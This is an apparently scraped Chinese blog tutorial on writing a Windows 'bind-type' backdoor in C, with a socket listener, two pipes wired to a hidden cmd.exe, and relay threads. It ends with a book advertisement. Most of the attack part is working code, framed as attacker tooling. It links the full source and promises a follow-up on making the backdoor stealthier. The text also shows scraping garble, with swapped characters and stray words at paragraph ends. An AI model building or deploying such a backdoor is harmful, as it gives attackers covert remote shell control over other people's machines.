后门编程(1)之双管道主动链接型

  长时间不写博客就是容易懒,今天10月最后一天,写篇博客来结个尾。今天写的是关于如何编写windows后门程序,主要是涉及的技术是socket通讯和管道。后门分为主动链接型和反向链接型,而根据使用的管道数又能够细分为双管道,单管道和零管道。今天讲的是双管道主动链接型后门的编写。python

一.原理讲解 

  1.1 主动链接型指的是后门程序做为服务端,换句话说被攻击者的服务器做为服务端,攻击者(黑客)做为客户端主动去链接后门程序,执行一系列的shell操做。服务器不必定是放在外网中,其实在内网中也是能够的。git

 

 

从上图中能够看到后门程序须要监听指定端口,并能够接收外部的链接,这就涉及了socket服务端程序的编写,在windows上编写的步骤为:github

  1. 初始化socket
  2. 建立TCP类型的socket
  3. 绑定指定端口,开始监听并接收链接

部分代码以下:shell

 1     //初始化socket
 2     if (!SockInit()) return FALSE;
 3     //建立socket
 4     SOCKET serverSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
 5     if (serverSocket == INVALID_SOCKET) return FALSE;
 6     //绑定指定端口
 7     sockaddr_in sServer = { 0 };
 8     sServer.sin_family = AF_INET;
 9     sServer.sin_addr.s_addr = htonl(INADDR_ANY);
10     sServer.sin_port = htons(port);
11     if (bind(serverSocket,(sockaddr*) &sServer, sizeof(sServer)) == SOCKET_ERROR)
12     {
13         return FALSE;
14     }
15     //开始监听,而且接受链接
16     if (listen(serverSocket, 5) == SOCKET_ERROR)
17     {
18         return FALSE;
19     }
20 
21     SOCKET cSocket = accept(serverSocket, NULL, NULL);

  1.2 后门程序不只须要接收外部的链接,还须要进行本地的shell操做,这样黑客在本身的电脑上就能够远程操做服务器的shell。这就涉及到进程间通讯,采用的是管道技术。下面我把工做流程进行进一步细化,因为管道是单向的,所以此次使用双管道分别进行读操做和写操做。编程

你们可能奇怪为何有两个管道,却只有一个socket,由于socket传输是双向的。上图的工做流程是这样的,首先黑客经过网络远程链接到后门程序,后门程序接收到socket传过来的指令,并经过读管道传给cmd.exe进程,进行操做,并把操做的结果经过写管道传给socket,最终传回黑客电脑。后门程序和cmd.exe创建管道通讯的代码以下:windows

 1     //开始建立管道,管道是单向的,因此建立两个管道,
 2     //一个负责读一个负责写
 3     
 4     HANDLE hReadPipe1, hWritePipe1;//管道1 的读写
 5     HANDLE hReadPipe2, hWritePipe2;//管道2的读写
 6 
 7     SECURITY_ATTRIBUTES sa = { 0 };
 8     sa.nLength = sizeof(SECURITY_ATTRIBUTES);
 9     sa.lpSecurityDescriptor = NULL;
10     sa.bInheritHandle = TRUE;
11 
12     if (!CreatePipe(&hReadPipe1, &hWritePipe1, &sa, 0) ||
13         !CreatePipe(&hReadPipe2, &hWritePipe2, &sa, 0))
14         return FALSE;
15     //启动cmd.exe,并创建与它的管道通讯
16     //首先配置启动参数
17     STARTUPINFO si = {0};
18     GetStartupInfo(&si);
19     si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
20     //cmd的标准输入链接到管道1的读取端
21     si.hStdInput = hReadPipe1;
22     //cmd的标准输出链接到管道2的写入端
23     si.hStdOutput = si.hStdError = hWritePipe2;
24     //将窗口设置为隐藏
25     si.wShowWindow = SW_HIDE;
26     //获取cmd.exe的系统路径
27     TCHAR tCmdPath[MAX_PATH] = { 0 };
28     GetSystemDirectory(tCmdPath, MAX_PATH);//获取系统路径
29     lstrcat(tCmdPath, TEXT("\\cmd.exe"));
30     //wcscat_s(tCmdPath, MAX_PATH, TEXT("\\cmd.exe"));
31     //开始建立cmd进程
32     PROCESS_INFORMATION pi = { 0 };
33     if (!CreateProcess(tCmdPath,
34         NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
35         return FALSE;

  1.3.为了方便操做,我在后门程序中开启了两个线程,分别处理socket和管道的读写操做,部分代码以下:服务器

 1     //下面开始启动两个线程,一个是读线程,从socket读取数据写入管道1,一个是写线程,从管道2读取数据,写到socket
 2     ComNode mReadNode, mWriteNode;
 3     mReadNode.socket = mWriteNode.socket = cSocket;
 4     mReadNode.pipe = hWritePipe1;
 5     mWriteNode.pipe = hReadPipe2;
 6     //接下来启动线程,并将两个通讯节点做为参数传到线程处理函数中
 7     DWORD dwThreadOutput=0, dwThreadInput=0;
 8     HANDLE hThreadInput = CreateThread(NULL, 0, ThreadInput, &mReadNode, 0, &dwThreadInput);
 9     HANDLE hThreadOutput = CreateThread(NULL, 0, ThreadOutput, &mWriteNode, 0, &dwThreadOutput);
10     
11 
12     HANDLE szHandles[] = { hThreadOutput ,hThreadInput };
13     //同步线程
14     WaitForMultipleObjects(2, szHandles, TRUE, INFINITE);

  1.4最后看一下运行效果,首先咱们在本地启动后门程序,监听8009端口,而后在本地使用telnet链接后门程序,模拟黑客攻击的过程,固然你彻底能够将后门程序放到公网中,这里只是方便演示。网络

这就是咱们在E盘生成的后门程序,你们确定会想,若是去掉这个黑窗口,否则不够隐蔽,你们先百度,很简单,在下一篇后门编程(2)我会讲一下。接着我在本地启动一个cmd.exe,也就是黑客端,不要和后门程序中启动的cmd.exe弄混了。在其中输入telnet命令,链接后门程序。下图是链接后门以前的cmd.exe的状况。socket

 

 咱们输入telnet 127.0.0.1 8009 后,开始发生变化。分布式

 

路径切换到后门所在的地方了,咱们也就是说咱们能够在本机远程操做服务器上的shell了,执行dir命令,查看服务器上的文件。

 

完整的代码我放到 https://github.com/qiyeboy/LuLunZi 中的BackDoor文件夹中。

 

二.再续

  我新书《Python爬虫开发与项目实战》出版了。 这本书包括基础篇,中级篇和深刻篇三个部分,不只适合零基础的朋友入门,也适合有必定基础的爬虫爱好者进阶,若是你不会分布式爬虫,不会千万级数据的去重,不会怎么突破反爬虫,不会分析js的加密,这本书会给你惊喜。若是你们对这本书感兴趣的话,能够看一下 试读样章

欢迎你们光顾我公众号:

相关文章
相关标签/搜索